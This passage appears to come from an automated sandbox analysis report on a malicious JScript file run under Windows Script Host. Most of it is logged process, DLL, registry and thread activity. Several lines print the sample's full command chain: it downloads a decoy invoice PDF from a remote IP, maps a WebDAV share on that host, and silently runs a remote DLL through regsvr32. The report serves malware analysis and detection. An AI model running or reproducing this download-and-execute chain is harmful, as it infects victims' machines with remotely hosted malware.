Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5053.js.csv");ITextStream.WriteLine(" entry:7538 f:spfulez");ITextStream.WriteLine(" exec:2 f:spfulez");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49707

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4013			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5605			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7800	Thread sleep count: 4013 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7804	Thread sleep count: 5605 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7872	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7888	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7780	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8072	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6596	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.1472066387.0000022B7838D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1486215805.0000022B78328000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2704147881.000001DEE1654000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2702792839.000001DEDC013000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.2702820608.000001DEDC02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\19851278452615.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

